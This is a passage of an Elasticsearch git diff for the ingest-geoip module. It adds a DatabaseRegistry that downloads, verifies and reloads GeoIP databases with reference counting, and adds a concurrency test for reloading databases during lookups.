b/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/GeoIpProcessorNonIngestNodeIT.java index 683bffaecd973..dee3b6ec3e7c8 100644 --- a/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/GeoIpProcessorNonIngestNodeIT.java +++ b/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/GeoIpProcessorNonIngestNodeIT.java @@ -13,69 +13,27 @@ import org.elasticsearch.action.index.IndexResponse; import org.elasticsearch.action.ingest.PutPipelineRequest; import org.elasticsearch.common.bytes.BytesReference; -import org.elasticsearch.common.settings.Setting; import org.elasticsearch.common.settings.Settings; import org.elasticsearch.common.xcontent.XContentBuilder; import org.elasticsearch.common.xcontent.XContentType; import org.elasticsearch.common.xcontent.json.JsonXContent; import org.elasticsearch.ingest.IngestService; -import org.elasticsearch.plugins.Plugin; import org.elasticsearch.rest.RestStatus; -import org.elasticsearch.test.ESIntegTestCase; import org.elasticsearch.test.NodeRoles; -import org.elasticsearch.test.StreamsUtils; -import java.io.ByteArrayInputStream; import java.io.IOException; -import java.io.UncheckedIOException; -import java.nio.file.Files; -import java.nio.file.Path; import java.util.Arrays; -import java.util.Collection; import java.util.Collections; -import java.util.List; import static org.elasticsearch.test.NodeRoles.nonIngestNode; import static org.elasticsearch.test.hamcrest.ElasticsearchAssertions.assertAcked; import static org.hamcrest.Matchers.equalTo; -public class GeoIpProcessorNonIngestNodeIT extends ESIntegTestCase { - - public static class IngestGeoIpSettingsPlugin extends Plugin { - - @Override - public List> getSettings() { - return Collections.singletonList(Setting.simpleString("ingest.geoip.database_path", Setting.Property.NodeScope)); - } - } +public class GeoIpProcessorNonIngestNodeIT extends AbstractGeoIpIT { @Override - protected Collection> nodePlugins() { - return Arrays.asList(IngestGeoIpPlugin.class, IngestGeoIpSettingsPlugin.class); - } - - @Override - protected Settings nodeSettings(final int nodeOrdinal) { - final Path databasePath = createTempDir(); - try { - Files.createDirectories(databasePath); - Files.copy( - new ByteArrayInputStream(StreamsUtils.copyToBytesFromClasspath("/GeoLite2-City.mmdb")), - databasePath.resolve("GeoLite2-City.mmdb")); - Files.copy( - new ByteArrayInputStream(StreamsUtils.copyToBytesFromClasspath("/GeoLite2-Country.mmdb")), - databasePath.resolve("GeoLite2-Country.mmdb")); - Files.copy( - new ByteArrayInputStream(StreamsUtils.copyToBytesFromClasspath("/GeoLite2-ASN.mmdb")), - databasePath.resolve("GeoLite2-ASN.mmdb")); - } catch (final IOException e) { - throw new UncheckedIOException(e); - } - return Settings.builder() - .put("ingest.geoip.database_path", databasePath) - .put(nonIngestNode()) - .put(super.nodeSettings(nodeOrdinal)) - .build(); + protected Settings nodeSettings(int nodeOrdinal, Settings otherSettings) { + return Settings.builder().put(super.nodeSettings(nodeOrdinal, otherSettings)).put(nonIngestNode()).build(); } /** @@ -143,7 +101,7 @@ public void testLazyLoading() throws IOException { final IndexRequest indexRequest = new IndexRequest("index"); indexRequest.setPipeline("geoip"); indexRequest.source(Collections.singletonMap("ip", "1.1.1.1")); - final IndexResponse indexResponse = client().index(indexRequest).actionGet(); + final IndexResponse indexResponse = client(ingestNode).index(indexRequest).actionGet(); assertThat(indexResponse.status(), equalTo(RestStatus.CREATED)); // now the geo-IP database should be loaded on the ingest node assertDatabaseLoadStatus(ingestNode, true); @@ -156,7 +114,7 @@ public void testLazyLoading() throws IOException { private void assertDatabaseLoadStatus(final String node, final boolean loaded) { final IngestService ingestService = internalCluster().getInstance(IngestService.class, node); final GeoIpProcessor.Factory factory = (GeoIpProcessor.Factory)ingestService.getProcessorFactories().get("geoip"); - for (final DatabaseReaderLazyLoader loader : factory.databaseReaders().values()) { + for (final DatabaseReaderLazyLoader loader : factory.getAllDatabases()) { if (loaded) { assertNotNull(loader.databaseReader.get()); } else { diff --git a/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/ReloadingDatabasesWhilePerformingGeoLookupsIT.java b/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/ReloadingDatabasesWhilePerformingGeoLookupsIT.java new file mode 100644 index 0000000000000..6ac46fea36d15 --- /dev/null +++ b/modules/ingest-geoip/src/internalClusterTest/java/org/elasticsearch/ingest/geoip/ReloadingDatabasesWhilePerformingGeoLookupsIT.java @@ -0,0 +1,184 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ + +package org.elasticsearch.ingest.geoip; + +import org.apache.lucene.util.LuceneTestCase; +import org.elasticsearch.client.Client; +import org.elasticsearch.common.network.InetAddresses; +import org.elasticsearch.common.util.concurrent.AtomicArray; +import org.elasticsearch.core.internal.io.IOUtils; +import org.elasticsearch.index.VersionType; +import org.elasticsearch.ingest.IngestDocument; +import org.elasticsearch.ingest.IngestService; +import org.elasticsearch.test.ESTestCase; +import org.elasticsearch.watcher.ResourceWatcherService; + +import java.io.IOException; +import java.io.InputStream; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.StandardCopyOption; +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.atomic.AtomicBoolean; +import java.util.concurrent.atomic.AtomicInteger; +import java.util.concurrent.atomic.AtomicReference; + +import static org.elasticsearch.ingest.geoip.GeoIpProcessorFactoryTests.copyDatabaseFiles; +import static org.hamcrest.Matchers.equalTo; +import static org.hamcrest.Matchers.greaterThan; +import static org.hamcrest.Matchers.is; +import static org.hamcrest.Matchers.not; +import static org.hamcrest.Matchers.notNullValue; +import static org.hamcrest.Matchers.nullValue; +import static org.hamcrest.Matchers.sameInstance; +import static org.mockito.Mockito.mock; + +@LuceneTestCase.SuppressFileSystems(value = "ExtrasFS") // Don't randomly add 'extra' files to directory. +public class ReloadingDatabasesWhilePerformingGeoLookupsIT extends ESTestCase { + + /** + * This tests essentially verifies that a Maxmind database reader doesn't fail with: + * com.maxmind.db.ClosedDatabaseException: The MaxMind DB has been closed + * + * This failure can be avoided by ensuring that a database is only closed when no + * geoip processor instance is using the related {@link DatabaseReaderLazyLoader} instance + */ + public void test() throws Exception { + Path geoIpModulesDir = createTempDir(); + Path geoIpConfigDir = createTempDir(); + Path geoIpTmpDir = createTempDir(); + DatabaseRegistry databaseRegistry = createRegistry(geoIpModulesDir, geoIpConfigDir, geoIpTmpDir); + GeoIpProcessor.Factory factory = new GeoIpProcessor.Factory(databaseRegistry); + Files.copy(LocalDatabases.class.getResourceAsStream("/GeoLite2-City-Test.mmdb"), + geoIpTmpDir.resolve("GeoLite2-City.mmdb")); + Files.copy(LocalDatabases.class.getResourceAsStream("/GeoLite2-City-Test.mmdb"), + geoIpTmpDir.resolve("GeoLite2-City-Test.mmdb")); + databaseRegistry.updateDatabase("GeoLite2-City.mmdb", "md5", geoIpTmpDir.resolve("GeoLite2-City.mmdb"), 0); + databaseRegistry.updateDatabase("GeoLite2-City-Test.mmdb", "md5", geoIpTmpDir.resolve("GeoLite2-City-Test.mmdb"), 0); + lazyLoadReaders(databaseRegistry); + + final GeoIpProcessor processor1 = factory.create(null, "_tag", null, new HashMap<>(Map.of("field", "_field"))); + final GeoIpProcessor processor2 = factory.create(null, "_tag", null, + new HashMap<>(Map.of("field", "_field", "database_file", "GeoLite2-City-Test.mmdb"))); + + final AtomicBoolean completed = new AtomicBoolean(false); + final int numberOfDatabaseUpdates = randomIntBetween(2, 4); + final AtomicInteger numberOfIngestRuns = new AtomicInteger(); + final int numberOfIngestThreads = randomIntBetween(16, 32); + final Thread[] ingestThreads = new Thread[numberOfIngestThreads]; + final AtomicArray ingestFailures = new AtomicArray<>(numberOfIngestThreads); + for (int i = 0; i < numberOfIngestThreads; i++) { + final int id = i; + ingestThreads[id] = new Thread(() -> { + while (completed.get() == false) { + try { + IngestDocument document1 = + new IngestDocument("index", "id", "routing", 1L, VersionType.EXTERNAL, Map.of("_field", "89.160.20.128")); + processor1.execute(document1); + assertThat(document1.getSourceAndMetadata().get("geoip"), notNullValue()); + IngestDocument document2 = + new IngestDocument("index", "id", "routing", 1L, VersionType.EXTERNAL, Map.of("_field", "89.160.20.128")); + processor2.execute(document2); + assertThat(document2.getSourceAndMetadata().get("geoip"), notNullValue()); + numberOfIngestRuns.incrementAndGet(); + } catch (Exception | AssertionError e) { + logger.error("error in ingest thread after run [" + numberOfIngestRuns.get() + "]", e); + ingestFailures.setOnce(id, e); + break; + } + } + }); + } + + final AtomicReference failureHolder2 = new AtomicReference<>(); + Thread updateDatabaseThread = new Thread(() -> { + for (int i = 0; i < numberOfDatabaseUpdates; i++) { + try { + DatabaseReaderLazyLoader previous1 = databaseRegistry.get("GeoLite2-City.mmdb"); + if (Files.exists(geoIpTmpDir.resolve("GeoLite2-City.mmdb"))) { + databaseRegistry.removeStaleEntries(List.of("GeoLite2-City.mmdb")); + assertBusy(() -> { + // lazy loader may still be in use by an ingest thread, + // wait for any potential ingest thread to release the lazy loader (DatabaseReaderLazyLoader#postLookup(...)), + // this will do clean it up and actually deleting the underlying file + assertThat(Files.exists(geoIpTmpDir.resolve("GeoLite2-City.mmdb")), is(false)); + assertThat(previous1.current(), equalTo(-1)); + }); + } else { + Files.copy(LocalDatabases.class.getResourceAsStream("/GeoLite2-City-Test.mmdb"), + geoIpTmpDir.resolve("GeoLite2-City.mmdb"), StandardCopyOption.REPLACE_EXISTING); + databaseRegistry.updateDatabase("GeoLite2-City.mmdb", "md5", geoIpTmpDir.resolve("GeoLite2-City.mmdb"), 0); + } + DatabaseReaderLazyLoader previous2 = databaseRegistry.get("GeoLite2-City-Test.mmdb"); + InputStream source = LocalDatabases.class.getResourceAsStream(i % 2 == 0 ? "/GeoIP2-City-Test.mmdb" : + "/GeoLite2-City-Test.mmdb"); + Files.copy(source, geoIpTmpDir.resolve("GeoLite2-City-Test.mmdb"), StandardCopyOption.REPLACE_EXISTING); + databaseRegistry.updateDatabase("GeoLite2-City-Test.mmdb", "md5", geoIpTmpDir.resolve("GeoLite2-City-Test.mmdb"), 0); + + DatabaseReaderLazyLoader current1 = databaseRegistry.get("GeoLite2-City.mmdb"); + DatabaseReaderLazyLoader current2 = databaseRegistry.get("GeoLite2-City-Test.mmdb"); + assertThat(current1, not(sameInstance(previous1))); + assertThat(current2, not(sameInstance(previous2))); + + // lazy load type and reader: + lazyLoadReaders(databaseRegistry); + } catch (Exception | AssertionError e) { + logger.error("error in update databases thread after run [" + i + "]", e); + failureHolder2.set(e); + break; + } + } + completed.set(true); + }); + + Arrays.stream(ingestThreads).forEach(Thread::start); + updateDatabaseThread.start(); + Arrays.stream(ingestThreads).forEach(thread -> { + try { + thread.join(); + } catch (InterruptedException e) { + throw new AssertionError(e); + } + }); + updateDatabaseThread.join(); + + ingestFailures.asList().forEach(r -> assertThat(r, nullValue())); + assertThat(failureHolder2.get(), nullValue()); + assertThat(numberOfIngestRuns.get(), greaterThan(0)); + + for (DatabaseReaderLazyLoader lazyLoader : databaseRegistry.getAllDatabases()) { + assertThat(lazyLoader.current(), equalTo(0)); + } + // Avoid accumulating many temp dirs while running with -Dtests.iters=X + IOUtils.rm(geoIpModulesDir, geoIpConfigDir, geoIpTmpDir); + } + + private static DatabaseRegistry createRegistry(Path geoIpModulesDir, Path geoIpConfigDir, Path geoIpTmpDir) throws IOException { + copyDatabaseFiles(geoIpModulesDir); + GeoIpCache cache = new GeoIpCache(0); + LocalDatabases localDatabases = new LocalDatabases(geoIpModulesDir, geoIpConfigDir, cache); + DatabaseRegistry databaseRegistry = + new DatabaseRegistry(geoIpTmpDir, mock(Client.class), cache, localDatabases, Runnable::run); + databaseRegistry.initialize("nodeId", mock(ResourceWatcherService.class), mock(IngestService.class)); + return databaseRegistry; + } + + private static void lazyLoadReaders(DatabaseRegistry databaseRegistry) throws IOException { + if (databaseRegistry.get("GeoLite2-City.mmdb") != null) { + databaseRegistry.get("GeoLite2-City.mmdb").getDatabaseType(); + databaseRegistry.get("GeoLite2-City.mmdb").getCity(InetAddresses.forString("2.125.160.216")); + } + databaseRegistry.get("GeoLite2-City-Test.mmdb").getDatabaseType(); + databaseRegistry.get("GeoLite2-City-Test.mmdb").getCity(InetAddresses.forString("2.125.160.216")); + } + +} diff --git a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/DatabaseReaderLazyLoader.java b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/DatabaseReaderLazyLoader.java index a2bf5272b7b88..c41f930ebf22b 100644 --- a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/DatabaseReaderLazyLoader.java +++ b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/DatabaseReaderLazyLoader.java @@ -8,6 +8,8 @@ package org.elasticsearch.ingest.geoip; +import com.maxmind.db.NoCache; +import com.maxmind.db.Reader; import com.maxmind.geoip2.DatabaseReader; import com.maxmind.geoip2.exception.AddressNotFoundException; import com.maxmind.geoip2.model.AbstractResponse; @@ -18,8 +20,11 @@ import org.apache.logging.log4j.Logger; import org.apache.lucene.util.SetOnce; import org.elasticsearch.SpecialPermission; +import org.elasticsearch.common.Booleans; import org.elasticsearch.common.CheckedBiFunction; import org.elasticsearch.common.CheckedSupplier; +import org.elasticsearch.common.SuppressForbidden; +import org.elasticsearch.common.logging.HeaderWarning; import org.elasticsearch.core.internal.io.IOUtils; import java.io.Closeable; @@ -31,7 +36,9 @@ import java.nio.file.Path; import java.security.AccessController; import java.security.PrivilegedAction; +import java.time.Duration; import java.util.Objects; +import java.util.concurrent.atomic.AtomicInteger; /** * Facilitates lazy loading of the database reader, so that when the geoip plugin is installed, but not used, @@ -39,19 +46,32 @@ */ class DatabaseReaderLazyLoader implements Closeable { + private static final boolean LOAD_DATABASE_ON_HEAP = + Booleans.parseBoolean(System.getProperty("es.geoip.load_db_on_heap", "false")); + private static final Logger LOGGER = LogManager.getLogger(DatabaseReaderLazyLoader.class); + private final String md5; private final GeoIpCache cache; private final Path databasePath; private final CheckedSupplier loader; + private volatile long lastUpdate; final SetOnce databaseReader; // cache the database type so that we do not re-read it on every pipeline execution final SetOnce databaseType; - DatabaseReaderLazyLoader(final GeoIpCache cache, final Path databasePath, final CheckedSupplier loader) { + private volatile boolean deleteDatabaseFileOnClose; + private final AtomicInteger currentUsages = new AtomicInteger(0); + + DatabaseReaderLazyLoader(GeoIpCache cache, Path databasePath, String md5) { + this(cache, databasePath, md5, createDatabaseLoader(databasePath)); + } + + DatabaseReaderLazyLoader(GeoIpCache cache, Path databasePath, String md5, CheckedSupplier loader) { this.cache = cache; this.databasePath = Objects.requireNonNull(databasePath); + this.md5 = md5; this.loader = Objects.requireNonNull(loader); this.databaseReader = new SetOnce<>(); this.databaseType = new SetOnce<>(); @@ -147,6 +167,20 @@ AsnResponse getAsn(InetAddress ipAddress) { return getResponse(ipAddress, DatabaseReader::asn); } + boolean preLookup() { + return currentUsages.updateAndGet(current -> current < 0 ? current : current + 1) > 0; + } + + void postLookup() throws IOException { + if (currentUsages.updateAndGet(current -> current > 0 ? current - 1 : current + 1) == -1) { + doClose(); + } + } + + int current() { + return currentUsages.get(); + } + private T getResponse(InetAddress ipAddress, CheckedBiFunction responseProvider) { SpecialPermission.check(); @@ -162,7 +196,17 @@ private T getResponse(InetAddress ipAddress, })); } - private DatabaseReader get() throws IOException { + DatabaseReader get() throws IOException { + //only downloaded databases will have lastUpdate != 0, we never update it for default databases or databases from config dir + if (lastUpdate != 0) { + Path fileName = databasePath.getFileName(); + if (System.currentTimeMillis() - lastUpdate > Duration.ofDays(30).toMillis()) { + throw new IllegalStateException("database [" + fileName + "] was not updated for 30 days and is disabled"); + } else if (System.currentTimeMillis() - lastUpdate > Duration.ofDays(25).toMillis()) { + HeaderWarning.addWarning( + "database [{}] was not updated for over 25 days, ingestion will fail if there is no update for 30 days", fileName); + } + } if (databaseReader.get() == null) { synchronized (databaseReader) { if (databaseReader.get() == null) { @@ -174,9 +218,50 @@ private DatabaseReader get() throws IOException { return databaseReader.get(); } + String getMd5() { + return md5; + } + + public void close(boolean deleteDatabaseFileOnClose) throws IOException { + this.deleteDatabaseFileOnClose = deleteDatabaseFileOnClose; + close(); + } + @Override - public synchronized void close() throws IOException { + public void close() throws IOException { + if (currentUsages.updateAndGet(u -> -1 - u) == -1) { + doClose(); + } + } + + private void doClose() throws IOException { IOUtils.close(databaseReader.get()); + int numEntriesEvicted = cache.purgeCacheEntriesForDatabase(databasePath); + LOGGER.info("evicted [{}] entries from cache after reloading database [{}]", numEntriesEvicted, databasePath); + if (deleteDatabaseFileOnClose) { + LOGGER.info("deleting [{}]", databasePath); + Files.delete(databasePath); + } } + private static CheckedSupplier createDatabaseLoader(Path databasePath) { + return () -> { + DatabaseReader.Builder builder = createDatabaseBuilder(databasePath).withCache(NoCache.getInstance()); + if (LOAD_DATABASE_ON_HEAP) { + builder.fileMode(Reader.FileMode.MEMORY); + } else { + builder.fileMode(Reader.FileMode.MEMORY_MAPPED); + } + return builder.build(); + }; + } + + @SuppressForbidden(reason = "Maxmind API requires java.io.File") + private static DatabaseReader.Builder createDatabaseBuilder(Path databasePath) { + return new DatabaseReader.Builder(databasePath.toFile()); + } + + void setLastUpdate(long lastUpdate) { + this.lastUpdate = lastUpdate; + } } diff --git a/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/DatabaseRegistry.java b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/DatabaseRegistry.java new file mode 100644 index 0000000000000..8927be524e560 --- /dev/null +++ b/modules/ingest-geoip/src/main/java/org/elasticsearch/ingest/geoip/DatabaseRegistry.java @@ -0,0 +1,387 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the Server Side Public License, v 1; you may not use this file except + * in compliance with, at your election, the Elastic License 2.0 or the Server + * Side Public License, v 1. + */ +package org.elasticsearch.ingest.geoip; + +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; +import org.apache.logging.log4j.message.ParameterizedMessage; +import org.apache.logging.log4j.util.Supplier; +import org.elasticsearch.ResourceNotFoundException; +import org.elasticsearch.action.search.SearchRequest; +import org.elasticsearch.action.search.SearchResponse; +import org.elasticsearch.client.Client; +import org.elasticsearch.client.OriginSettingClient; +import org.elasticsearch.cluster.ClusterState; +import org.elasticsearch.cluster.node.DiscoveryNode; +import org.elasticsearch.cluster.routing.IndexRoutingTable; +import org.elasticsearch.common.CheckedConsumer; +import org.elasticsearch.common.CheckedRunnable; +import org.elasticsearch.common.hash.MessageDigests; +import org.elasticsearch.core.internal.io.IOUtils; +import org.elasticsearch.env.Environment; +import org.elasticsearch.index.query.TermQueryBuilder; +import org.elasticsearch.ingest.IngestService; +import org.elasticsearch.persistent.PersistentTasksCustomMetadata; +import org.elasticsearch.search.SearchHit; +import org.elasticsearch.watcher.ResourceWatcherService; + +import java.io.BufferedInputStream; +import java.io.Closeable; +import java.io.IOException; +import java.io.UncheckedIOException; +import java.nio.file.FileAlreadyExistsException; +import java.nio.file.FileVisitResult; +import java.nio.file.FileVisitor; +import java.nio.file.Files; +import java.nio.file.NoSuchFileException; +import java.nio.file.Path; +import java.nio.file.StandardCopyOption; +import java.nio.file.StandardOpenOption; +import java.nio.file.attribute.BasicFileAttributes; +import java.security.MessageDigest; +import java.util.ArrayList; +import java.util.Collection; +import java.util.List; +import java.util.Locale; +import java.util.Objects; +import java.util.Set; +import java.util.concurrent.ConcurrentHashMap; +import java.util.concurrent.ConcurrentMap; +import java.util.function.Consumer; +import java.util.stream.Collectors; +import java.util.stream.Stream; +import java.util.zip.GZIPInputStream; + +/** + * A component that is responsible for making the databases maintained by {@link GeoIpDownloader} + * available for ingest processors. + *

+ * Also provided a lookup mechanism for geoip processors with fallback to {@link LocalDatabases}. + * All databases are downloaded into a geoip tmp directory, which is created at node startup. + *

+ * The following high level steps are executed after each cluster state update: + * 1) Check which databases are available in {@link GeoIpTaskState}, + * which is part of the geoip downloader persistent task. + * 2) For each database check whether the databases have changed + * by comparing the local and remote md5 hash or are locally missing. + * 3) For each database identified in step 2 start downloading the database + * chunks. Each chunks is appended to a tmp file (inside geoip tmp dir) and + * after all chunks have been downloaded, the database is uncompressed and + * renamed to the final filename.After this the database is loaded and + * if there is an old instance of this database then that is closed. + * 4) Cleanup locally loaded databases that are no longer mentioned in {@link GeoIpTaskState}. + */ +public final class DatabaseRegistry implements Closeable { + + private static final Logger LOGGER = LogManager.getLogger(DatabaseRegistry.class); + + private final Client client; + private final GeoIpCache cache; + private final Path geoipTmpBaseDirectory; + private Path geoipTmpDirectory; + private final LocalDatabases localDatabases; + private final Consumer genericExecutor; + + private final ConcurrentMap databases = new ConcurrentHashMap<>(); + + DatabaseRegistry(Environment environment, Client client, GeoIpCache cache, Consumer genericExecutor) { + this( + environment.tmpFile(), + new OriginSettingClient(client, IngestService.INGEST_ORIGIN), + cache, + new LocalDatabases(environment, cache), + genericExecutor + ); + } + + DatabaseRegistry(Path tmpDir, + Client client, + GeoIpCache cache, + LocalDatabases localDatabases, + Consumer genericExecutor) { + this.client = client; + this.cache = cache; + this.geoipTmpBaseDirectory = tmpDir.resolve("geoip-databases"); + this.localDatabases = localDatabases; + this.genericExecutor = genericExecutor; + } + + public void initialize(String nodeId, ResourceWatcherService resourceWatcher, IngestService ingestService) throws IOException { + localDatabases.initialize(resourceWatcher); + geoipTmpDirectory = geoipTmpBaseDirectory.resolve(nodeId); + Files.walkFileTree(geoipTmpDirectory, new FileVisitor<>() { + @Override + public FileVisitResult preVisitDirectory(Path dir, BasicFileAttributes attrs) { + return FileVisitResult.CONTINUE; + } + + @Override + public FileVisitResult visitFile(Path file, BasicFileAttributes attrs) { + try { + LOGGER.info("deleting stale file [{}]", file); + Files.deleteIfExists(file); + } catch (IOException e) { + LOGGER.warn("can't delete stale file [" + file + "]", e); + } + return FileVisitResult.CONTINUE; + } + + @Override + public FileVisitResult visitFileFailed(Path file, IOException e) { + if (e instanceof NoSuchFileException == false) { + LOGGER.warn("can't delete stale file [" + file + "]", e); + } + return FileVisitResult.CONTINUE; + } + + @Override + public FileVisitResult postVisitDirectory(Path dir, IOException exc) { + return FileVisitResult.CONTINUE; + } + }); + if (Files.exists(geoipTmpDirectory) == false) { + Files.createDirectories(geoipTmpDirectory); + } + LOGGER.info("initialized database registry, using geoip-databases directory [{}]", geoipTmpDirectory); + ingestService.addIngestClusterStateListener(this::checkDatabases); + } + + public DatabaseReaderLazyLoader getDatabase(String name, boolean fallbackUsingDefaultDatabases) { + // There is a need for reference counting in order to avoid using an instance + // that gets closed while using it. (this can happen during a database update) + while (true) { + DatabaseReaderLazyLoader instance = + databases.getOrDefault(name, localDatabases.getDatabase(name, fallbackUsingDefaultDatabases)); + if (instance == null || instance.preLookup()) { + return instance; + } + // instance is closed after incrementing its usage, + // drop this instance and fetch another one. + } + } + + List getAllDatabases() { + List all = new ArrayList<>(localDatabases.getAllDatabases()); + this.databases.forEach((key, value) -> all.add(value)); + return all; + } + + // for testing only: + DatabaseReaderLazyLoader get(String key) { + return databases.get(key); + } + + @Override + public void close() throws IOException { + IOUtils.close(databases.values()); + } + + void checkDatabases(ClusterState state) { + DiscoveryNode localNode = state.nodes().getLocalNode(); + if (localNode.isIngestNode() == false) { + return; + } + + PersistentTasksCustomMetadata persistentTasks = state.metadata().custom(PersistentTasksCustomMetadata.TYPE); + if (persistentTasks == null) { + return; + } + + IndexRoutingTable databasesIndexRT = state.getRoutingTable().index(GeoIpDownloader.DATABASES_INDEX); + if (databasesIndexRT == null || databasesIndexRT.allPrimaryShardsActive() == false) { + return; + } + + PersistentTasksCustomMetadata.PersistentTask task = + PersistentTasksCustomMetadata.getTaskWithId(state, GeoIpDownloader.GEOIP_DOWNLOADER); + // Empty state will purge stale entries in databases map. + GeoIpTaskState taskState = task == null || task.getState() == null ? GeoIpTaskState.EMPTY : (GeoIpTaskState) task.getState(); + + taskState.getDatabases().forEach((name, metadata) -> { + DatabaseReaderLazyLoader reference = databases.get(name); + String remoteMd5 = metadata.getMd5(); + String localMd5 = reference != null ? reference.getMd5() : null; + if (Objects.equals(localMd5, remoteMd5)) { + reference.setLastUpdate(metadata.getLastUpdate()); + LOGGER.debug("Current reference of [{}] is up to date [{}] with was recorded in CS [{}]", name, localMd5, remoteMd5); + return; + } + + try { + retrieveAndUpdateDatabase(name, metadata); + } catch (Exception e) { + LOGGER.error((Supplier) () -> new ParameterizedMessage("attempt to download database [{}] failed", name), e); + } + }); + + List staleEntries = new ArrayList<>(databases.keySet()); + staleEntries.removeAll(taskState.getDatabases().keySet()); + removeStaleEntries(staleEntries); + } + + void retrieveAndUpdateDatabase(String databaseName, GeoIpTaskState.Metadata metadata) throws IOException { + final String recordedMd5 = metadata.getMd5(); + + // This acts as a lock, if this method for a specific db is executed later and downloaded for this db is still ongoing then + // FileAlreadyExistsException is thrown and this method silently returns. + // (this method is never invoked concurrently and is invoked by a cluster state applier thread) + final Path databaseTmpGzFile; + try { + databaseTmpGzFile = Files.createFile(geoipTmpDirectory.resolve(databaseName + ".tmp.gz")); + } catch (FileAlreadyExistsException e) { + LOGGER.debug("database update [{}] already in progress, skipping...", databaseName); + return; + } + + // 2 types of threads: + // 1) The thread that checks whether database should be retrieved / updated and creates (^) tmp file (cluster state applied thread) + // 2) the thread that downloads the db file, updates the databases map and then removes the tmp file + // Thread 2 may have updated the databases map after thread 1 detects that there is no entry (or md5 mismatch) for a database. + // If thread 2 then also removes the tmp file before thread 1 attempts to create it then we're about to retrieve the same database + // twice. This check is here to avoid this: + DatabaseReaderLazyLoader lazyLoader = databases.get(databaseName); + if (lazyLoader != null && recordedMd5.equals(lazyLoader.getMd5())) { + LOGGER.debug("deleting tmp file because database [{}] has already been updated.", databaseName); + Files.delete(databaseTmpGzFile); + return; + } + + final Path databaseTmpFile = Files.createFile(geoipTmpDirectory.resolve(databaseName + ".tmp")); + LOGGER.info("downloading geoip database [{}] to [{}]", databaseName, databaseTmpGzFile); + retrieveDatabase( + databaseName, + recordedMd5, + metadata, + bytes -> Files.write(databaseTmpGzFile, bytes, StandardOpenOption.APPEND), + () -> { + LOGGER.debug("decompressing [{}]", databaseTmpGzFile.getFileName()); + + Path databaseFile = geoipTmpDirectory.resolve(databaseName); + // tarball contains .mmdb, LICENSE.txt, COPYRIGHTS.txt and optional README.txt files. + // we store mmdb file as is and prepend database name to all other entries to avoid conflicts + try (TarInputStream is = + new TarInputStream(new GZIPInputStream(new BufferedInputStream(Files.newInputStream(databaseTmpGzFile)), 8192))) { + TarInputStream.TarEntry entry; + while ((entry = is.getNextEntry()) != null) { + //there might be ./ entry in tar, we should skip it + if (entry.isNotFile()) { + continue; + } + // flatten structure, remove any directories present from the path (should be ./ only) + String name = entry.getName().substring(entry.getName().lastIndexOf('/') + 1); + if (name.startsWith(databaseName)) { + Files.copy(is, databaseTmpFile, StandardCopyOption.REPLACE_EXISTING); + } else { + Files.copy(is, geoipTmpDirectory.resolve(databaseName + "_" + name), StandardCopyOption.REPLACE_EXISTING); + } + } + } + + LOGGER.debug("moving database from [{}] to [{}]", databaseTmpFile, databaseFile); + Files.move(databaseTmpFile, databaseFile, StandardCopyOption.ATOMIC_MOVE, StandardCopyOption.REPLACE_EXISTING); + updateDatabase(databaseName, recordedMd5, databaseFile, metadata.getLastUpdate()); + Files.delete(databaseTmpGzFile); + }, + failure -> { + LOGGER.error((Supplier) () -> new ParameterizedMessage("failed to download database [{}]", databaseName), failure); + try { + Files.deleteIfExists(databaseTmpFile); + Files.deleteIfExists(databaseTmpGzFile); + } catch (IOException ioe) { + ioe.addSuppressed(failure); + LOGGER.error("Unable to delete tmp database file after failure", ioe); + } + }); + } + + void updateDatabase(String databaseFileName, String recordedMd5, Path file, long lastUpdate) { + try { + LOGGER.info("database file changed [{}], reload database...", file); + DatabaseReaderLazyLoader loader = new DatabaseReaderLazyLoader(cache, file, recordedMd5); + loader.setLastUpdate(lastUpdate); + DatabaseReaderLazyLoader existing = databases.put(databaseFileName, loader); + if (existing != null) { + existing.close(); + } + } catch (Exception e) { + LOGGER.error((Supplier) () -> new ParameterizedMessage("failed to update database [{}]", databaseFileName), e); + } + } + + void removeStaleEntries(Collection staleEntries) { + for (String staleEntry : staleEntries) { + try { + LOGGER.info("database [{}] no longer exists, cleaning up...", staleEntry); + DatabaseReaderLazyLoader existing = databases.remove(staleEntry); + assert existing != null; + existing.close(true); + } catch (Exception e) { + LOGGER.error((Supplier) () -> new ParameterizedMessage("failed to clean database [{}]", staleEntry), e); + } + } + } + + void retrieveDatabase(String databaseName, + String expectedMd5, + GeoIpTaskState.Metadata metadata, + CheckedConsumer chunkConsumer, + CheckedRunnable completedHandler, + Consumer failureHandler) { + // Need to run the search from a different thread, since this is executed from cluster state applier thread: + genericExecutor.accept(() -> { + MessageDigest md = MessageDigests.md5(); + int firstChunk = metadata.getFirstChunk(); + int lastChunk = metadata.getLastChunk(); + try { + // TODO: invoke open point in time api when this api is moved from xpack core to server module. + // (so that we have a consistent view of the chunk documents while doing the lookups) + // (the chance that the documents change is rare, given the low frequency of the updates for these databases) + for (int chunk = firstChunk; chunk <= lastChunk; chunk++) { + SearchRequest searchRequest = new SearchRequest(GeoIpDownloader.DATABASES_INDEX); + String id = String.format(Locale.ROOT, "%s_%d_%d", databaseName, chunk, metadata.getLastUpdate()); + searchRequest.source().query(new TermQueryBuilder("_id", id)); + + // At most once a day a few searches may be executed to fetch the new files, + // so it is ok if this happens in a blocking manner on a thread from generic thread 